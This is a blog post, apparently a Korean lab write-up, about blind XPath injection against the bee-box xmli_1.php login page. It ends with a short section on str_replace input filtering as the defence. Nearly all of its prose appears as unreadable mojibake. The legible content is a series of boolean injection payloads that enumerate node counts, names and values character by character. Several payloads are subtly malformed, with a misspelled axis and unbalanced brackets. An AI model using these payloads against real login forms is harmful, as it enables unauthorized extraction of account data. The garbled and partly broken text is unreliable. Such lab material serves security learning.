[Bee-box] XML/Xpath ์ธ์ ์ -2
- -
์ด๋ฒ ํฌ์คํ ์ XML/Xpath blind injection์ ๋๋ค.
lucete1230-cyberpolice.tistory.com/100?category=851757
์ xml/xpath๊ณต๊ฒฉ๊ณผ ์ด์ด์ง๋ injection์ ๋๋ค.
์ค์ตํ๋ ๋ชจ๋ ๊ณต๊ฒฉ์ ์ค์ ๋ก ์ฌ์ฉํ์๋ฉด ์๋ฉ๋๋ค.
ํ์ฉ๋ฐ์ง ์์ ์๋น์ค ๋์์ ํดํน์ ์๋ํ๋ ํ๋์ ๊ธ์งํ๋ฉฐ,
๋ชจ๋ ๋ฒ์ ์ฑ ์์ ์ฌ์ฉ์์๊ฒ ์๋ ๊ฒ์ ๋ช ์ฌํด์ฃผ์ธ์.
** ์ด๋ฒ๊ธ์ ์ด๋ก ์์ฃผ์ ๋ธ๋ผ์ธ๋ sql injection์ ๋๋ค. XML์ ์ฒ์ ์ ํ๋ ๋ถ๋ค๊ป์๋ ๋ ธ๋์, ํ์ ๋ ธ๋์ ๊ฐ๋ ๋ค์ ์ข ์ตํ์ ํ ์ค์ตํด๋ณด๋ ๊ฒ์ ๊ถ์ฅํฉ๋๋ค.**
์ ๊ธ์ ์ด์ด์, ์ด ํ์ด์ง๋ XML ๋ฐ์ดํฐ ๋ฒ ์ด์ค์ ์ ์ฅ๋์ด ์์ผ๋ฏ๋ก
superhero ๊ทธ๋ฃน ์ฌ์ฉ์์ ๊ณ์ ์ ๋ณด๋ ๋ ธ๋ ๊ตฌ์กฐ๋ก ์ด๋ฃจ์ด์ ธ ์๋ค.
๋ฐ๋ผ์ Xpath๋ฅผ ์ฌ์ฉํ์ฌ ๋ฐ์ดํฐ๋ฒ ์ด์ค ๊ตฌ์กฐ๋ฅผ ํ์ ํ๋ค.
xmli_1.php ํ์ด์ง๋ ๋ก๊ทธ์ธ ํ์ด์ง ์ด๋ฏ๋ก, ๋ก๊ทธ์ธ ์ฑ๊ณต์ผ ๋์ ์คํจ์ผ ๋์ ์๋ต๋ง ์ ๊ณตํ๋ค.
์ฟผ๋ฆฌ ์ ๋ ฅ์ ์ฐธ๊ณผ ๊ฑฐ์ง ๊ฒฐ๊ณผ๋ฅผ ํตํด ๋ฐ์ดํฐ ๋ฒ ์ด์ค๋ฅผ ์ถ์ธกํ๋ boolean based sql injection์ ์๋ํ๋ค.
์ฐ์ ๋ฐ์ดํฐ ๋ฒ ์ด์ค ๊ตฌ์กฐ๋ฅผ ํ์ ํ๊ธฐ ์ํด ๋ ธ๋์ ๊ฐ์๋ฅผ ํ์ ํ๋ countํจ์๋ฅผ ์ฌ์ฉํ๋ค.
count ํจ์์ ์ธ์๋ก๋ ๋ถ๋ชจ ๋ ธ๋์ ๋ชจ๋ ์์ ๋ ธ๋๋ฅผ ์กฐํํ๋ Xpath๋ฅผ ์ ๋ ฅํ๋ค.
์ฆ ํ์ฌ ๋ ธ๋๋ฅผ ํฌํจํ์ฌ ๋ถ๋ชจ ๋ ธ๋์ -> ์์ ๋ ธ๋๊ฐ ์ด ๋ช ๊ฐ์ธ์ง ํ์ ํ๋ค.
์ฟผ๋ฆฌ๋ :
neo' and count(../child::*)=6 or 'a'='b ์ผ๋ ๋ก๊ทธ์ธ์ ์ฑ๊ณตํ๋ค.
์ฆ ์์๋ ธ๋๋ ์ด 6๊ฐ์ด๋ค.
countํจ์๋ ๋ ธ๋์ ๊ฐ์๋ฅผ ์ซ์๋ก ๋ฐํํด์ฃผ๋ ํจ์์ด๋ค.
์ฟผ๋ฆฌ์ ๋ง์ง๋งb๋ a๊ฐ ๋์ด๋ ์๊ด์๊ณ 1,0 ๋ฑ ์ฐธ๊ณผ ๊ฑฐ์ง์ ์ฌ๋ถ๊ฐ ์๊ด์๋ค.
์ด์ ๋ ์์ ์ฟผ๋ฆฌ๊ฐ ์ฐธ์ผ ์ = ์ด์งํผ ์ฐธ ์ผ ๊ฒ์ด๊ณ , ๊ฑฐ์ง์ด๋ผ๊ณ ํ๋ฉด ๋๋ค ๊ฑฐ์ง์ด๋ฏ๋ก, ๊ฑฐ์ง์ ๊ฐ์ ๋ฐํ ํ ๊ฒ์ด๋ฏ๋ก
์ฐธ / ๊ฑฐ์ง ์ฌ๋ถ๋ฅผ ํ๋ณํ๋๋ฐ์ ๋ฌธ์ ์๋ค.
์ค์ ์ฟผ๋ฆฌ๋ login='neo' and count(../child::*)=6 or 'a'='b' ๊ฐ ๋ ๊ฒ์ด๋ค.
๋ค์์ผ๋ก๋ ๋ถ๋ชจ ๋ ธ๋ ๋ช ์ ํ์ธํ๊ธฐ ์ํ ์ฟผ๋ฆฌ๋ฅผ ์ ๋ ฅํด๋ณด์.
'name' ์ ์ธ์์ ์ ๋ ฅ๋ ๋ ธ๋๋ช ์ ์ถ๋ ฅํ๋ ํจ์์ด๊ณ , 'string-length'๋ ์ธ์๋ก ๋ฐ๋ ๋ฌธ์์ด์ ๊ธธ์ด๋ฅผ
๋ฐํํ๋ ํจ์์ด๋ค.
๋ถ๋ชจ๋ ธ๋๋ช ์์๋ณด๊ธฐ:
neo' and string-length(name(parent::*))=6 or 'a'='b
ํด์ํ์๋ฉด ๋ถ๋ชจ๋ ธ๋์ ์ด๋ฆ์ ๊ธธ์ด๋ = 6 ! ์ด๋ผ๊ณ ๋ณด๋ฉด๋๋ค.
1~6๊น์ง ์ ๋ ฅํด๋ณธ ๊ฒฐ๊ณผ ๊ธธ์ด๋ 6์ด๋ค.
ํ๋ํ๋ ์ฟผ๋ฆฌ๋ฅผ ๋ค ์์ฑํ๋ค๋ฉด ๊ธ์ด๋งค์ฐ ๊ธธ์ด์ง ๊ฒ ๊ฐ์์ ์์ฝํด์ ์ ๋ฆฌํ์๋ฉด,
๋ถ๋ชจ๋ ธ๋ ์ด๋ฆ ์ถ์ธกํ๊ธฐ :
neo' and substring(name(parent::*),1,1) = 'h' or 'a'='b
neo' and substring(name(parent::*),2,1) = 'e' or 'a'='b
neo' and substring(name(parent::*),3,1) = 'r' or 'a'='b
...
๋ถ๋ชจ๋ ธ๋ ์ด๋ฆ : heroes
๋ถ๋ชจ๋ ธ๋์ ์์ ๋ ธ๋๋ช ์ ๊ธธ์ด๋ฅผ ์ถ์ธกํ๋ ์ฟผ๋ฆฌ :
(์์๋ ธ๋๊ฐ ๋ช๊ฐ์ผ ์ง ๋ชจ๋ฅด๋ฏ๋ก, limit๋ก ์ ํ์ ๋๋ค. mysql์ limit๊ฐ์ ์ฐ์ฐ์๊ฐ xml์์๋ position ํจ์์ด๋ค.)
neo' and string-length(name(../chile::*[position()=1]))=4 or 'a'='b
์์ ๋ ธ๋๋ช ์ถ์ธก :
neo' and substring(name(../child::*[position()=1),1,1)='h' or 'h'='b
neo' and substring(name(../child::*[position()=1),2,1)='h' or 'e'='b
neo' and substring(name(../child::*[position()=1),3,1)='h' or 'r'='b
neo' and substring(name(../child::*[position()=1),4,1)='h' or 'o'='b
์์ ๋ ธ๋๋ช = hero
์์๋ ธ๋์ ๊ฐ์๋ ์ด 6๊ฐ์ด๋ค. (position ์ ๋ฐ๊ฟ๊ฐ๋ฉฐ ์ ์ ์์)
๋ ธ๋๋ช ์ 6๊ฐ ๋ชจ๋ ๋์ผํ๋ค.
Xml ๋ฐ์ดํฐ๋ฒ ์ด์ค ์ด๋ฏ๋ก, ์ฌ์ฉ์ ์ ์๋ก ๊ฐ์ ์์ฑ์ ์ง๋ ๋ ธ๋๋ ๋ ธ๋๋ช ์ด ๋์ผํ๋ค.
๋ฐ๋ผ์ ํ์ฌ๊น์ง ๋ฐ์ดํฐ๋ฒ ์ด์ค ๊ตฌ์กฐ๋ ๋ค์๊ณผ ๊ฐ๋ค.
์ฟผ๋ฆฌ๋ฅผ ํ๋ํ๋ ๋ค ํด๋ณด๋ฉด ๋๋ฌด ๊ธธ๊ธฐ ๋๋ฌธ์, ํ์ด์ฌ ์ฝ๋๋ฅผ ์ง์ blind sql ๊ณต๊ฒฉ์ ์๋ํ๋๊ฒ์ ๊ถ์ฅํจ.
๋ค๋ฅธ ๋ฐฉ๋ฒ์ผ๋ก ํ์ฌ ๋ ธ๋๋ฅผ ํตํ์ฌ ๋ ธ๋๋ช ์ ์์๋ผ ์ ์๋ค.
๋ง์น mysql ์์ ๋น๊ตํ์๋ฉด database() ํจ์๋ก ์์ ์ db๋ช ์ ์ ์ ์๋ ๊ฒ๊ณผ ๊ฐ๋ค.
neo' and string-length(name(.))=4 or 'a'='b
์ฌ๊ธฐ์ name(.) ์ ํ์ฌ ๋ ธ๋์ ์ด๋ฆ์ ์๋ฏธํ๋ค. ์ฆ ํ์ฌ ๋ ธ๋์ ์ด๋ฆ์ ๊ธธ์ด๋ 4๋ผ๊ณ ์ถ์ธก ๊ฐ๋ฅ
ํ์ฌ ๋ ธ๋๋ช ์ ์ฐพ๊ธฐ ์ํด์๋ ๋ค์๊ณผ ๊ฐ์ ์ฟผ๋ฆฌ๊ฐ ์ฐ์ธ๋ค.
neo' and substring(name(.)),1,1)='h' or 'a'='b
์ด๋ฐ์์ผ๋ก ํ๋ค๋ณด๋ฉด ํ์ฌ ๋ ธ๋ ์ด๋ฆ์ ์ ์ ์๋ค.
## hero ๋ฐ๋จ์ ์์๋ ธ๋๋ค ##
1. ํ์ฌ ๋ ธ๋์ ์์๋ ธ๋๋ฅผ ์์๋ณด์ (ํ์ฌ ๋ ธ๋ ๊ฒฝ๋ก: hero)
neo' and count(/heroes/hero[1]/child::*)=6 or 'a'='b
<1๋ถํฐ ์จ๋ดค๋๋, 6์์ ์ฐธ์ด ๋ฌ๋ค.>
์ฆ heroes๋ฐ์ hero๋ผ๋ ๋ ธ๋ ์ค [1]๋ ์ฒซ๋ฒ์งธ ๋ ธ๋๋ฅผ ๋งํ๋ค.
์ฒซ๋ฒ์งธ hero ๋ ธ๋์ ์์๋ ธ๋๋ ์ด 6๊ฐ์ด๋ค.
2. ์ฒซ๋ฒ์งธ ์์๋ ธ๋๋ช ์ ๊ธธ์ด๋ฅผ ์์๋ณด์.
neo' and string-length(name(//hero[1]/child::*[position()=1]))=1 or 'a'='b
neo' and string-length(name(//hero[1]/child::*[position()=1]))=2 or 'a'='b
--> 2์ผ๋ ok , ์ฆ ์ฒซ๋ฒ์งธ ์์๋ ธ๋ ๊ธธ์ด ==2
3. ์ฒซ๋ฒ์งธ ์์๋ ธ๋๋ช ์์๋ณด๊ธฐ
neo' and substring(name(//hero[1]/child::*[position()=1]),1,1)='i' or 'a'='b
neo' and substring(name(//hero[1]/child::*[position()=1]),2,1)='d' or 'a'='b
์์๋ ธ๋๋ช == id
4. id์ ์์๋ ธ๋์ ๊ธธ์ด
neo' and string-length(string(//hero[1]/id))= 1 or 'a'='b
id์ ์์ ๋ ธ๋ ๊ฐ์ ๊ธธ์ด๊ฐ ๋ช์ธ์ง ์์๋ด๊ธฐ ์ํด ๋ฌธ์์ด์ ๋ฐํํ๋ string๊ณผ
๋ฌธ์์ด์ ๊ธธ์ด๋ฅผ ๋ฐํํ๋ string-lengthํจ์๋ฅผ ์ฌ์ฉํ๋ค.
1๋ถํฐ ์ ๋ ฅํ ๊ฒฐ๊ณผ ๋ฐ๋ก ๋ก๊ทธ์ธ ์ฑ๊ณต --> id ๋ผ๋ ์์๋ ธ๋๋ช ๊ณผ ๋ ธ๋์ ์ ๋ ฅ๋ ๋ฌธ์์ด์ ๊ธธ์ด๊ฐ 1 ์ด๋ผ๋ ์ ์์,
์์๋ฒํธ๋ฅผ ๋ปํ๋ค๊ณ ์ถ์ธกํ๋ค.
5. id์ ์์๋ ธ๋์ ๊ฐ
neo' and substring(string(//hero[1]/id))= 1 or 'a'='b
์์๋ฒํธ์ ๊ฐ์ 1!
๊ณ์ ์ด์ด์ ๋ ธ๋๋ค์ ์ ๋ณด๋ฅผ ์์๋ด๋ ค๋ฉด positionํจ์์ ๋์ ํ ๊ฐ์ ์ฆ๊ฐ์ํค๋ฉด ๋๋ค. position์ด ๋ค๋๋๋ฉด
hero[1] --> hero[2] --> ...๋ฑ์ผ๋ก ์ธ์ ์ ์ ์ด์ด๋๊ฐ๋ฉด ๋๋ค.
XML blind sql injection CLEAR
๋์ ๋ฐฉ์
๋์ด๋ ์ ์์๋ ์์ ๋ฐ์ดํ๋ฅผ ์ฌ์ฉํ์ฌ๋ XML์ค๋ฅ ๋ฉ์ธ์ง๋ฅผ ํ์ธํ ์ ์๋ค.
๋์ด๋ ์ ์ ํ์ด์ง ์ฝ๋๋ฅผ ํ์ธ ํ๋ฉด, xmli_check_1 () ํจ์๋ฅผ ์ฌ์ฉํ์ฌ ๋ฐ์ดํฐ๋ฅผ ์ฐํํ๋ค.
ํจ์๋ฅผ ์ดํด๋ณด์๋๋(ํจ์๋ functions_external.php์ ์ ์๋์ด์์)
'str_replace' ํจ์๋ฅผ ํธ์ถํ๋ค. ์ด ํจ์๋ ์นํํจ์๋ผ๊ณ ๋ด๋ ๋๋๋ฐ,
์ธ์ ์ ์ ์ฌ์ฉ๋๋ ๋ฌธ์๋ฅผ ๊ณต๋ฐฑ์ผ๋ก ๋์ฒดํ๋ ํจ์์ด๋ค.
str_replace ํจ์๋ ์ฒซ๋ฒ์งธ ์ธ์์, ๋์ฒดํ๋ ค๋ ๋ฌธ์(์ฆ ์ธ์ ์ ์ ์ฌ์ฉ๋๋ ๋ฌธ์)๋ฅผ ์ ๋ ฅํ๊ณ
๋๋ฒ์งธ ์ธ์์๋ ๋์ฒดํ ๋ฌธ์๋ฅผ ์ ๋ ฅํ๋ค.
๋ง์ง๋ง ์ธ์์๋ ๋ณ๊ฒฝํ ๋ด์ฉ์ ์ ์ฅํ ๋ณ์๋ฅผ ์ ๋ ฅํ๋ค. xmli_check_1ํจ์์์ ๋์ฒดํ๋ ๋ฌธ์๋ค์ ์์๊ฐ๊ณ
์ด ๋ฌธ์๋ฅผ ๊ณต๋ฐฑ์ผ๋ก ๋ณํํ์ฌ injection์ ์๋ํ ์ ๋จนํ์ง ์๊ฒ๋ ๋ง๋ ๊ฒ์ด๋ค.
'Game > Bee-box' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Bee-box] ์ธ์ฆ ๊ฒฐํฉ (0) | 2020.09.21 |
---|---|
[Bee-box] XML/Xpath ์ธ์ ์ -Search (0) | 2020.09.19 |
[Bee-box] XML/Xpath ์ธ์ ์ (0) | 2020.08.29 |
[Bee-box] Blind SQL ์ธ์ ์ - ์น ์๋น์ค/SOAP (0) | 2020.08.25 |
์์คํ ๊ณต๊ฐ ๊ฐ์ฌํฉ๋๋ค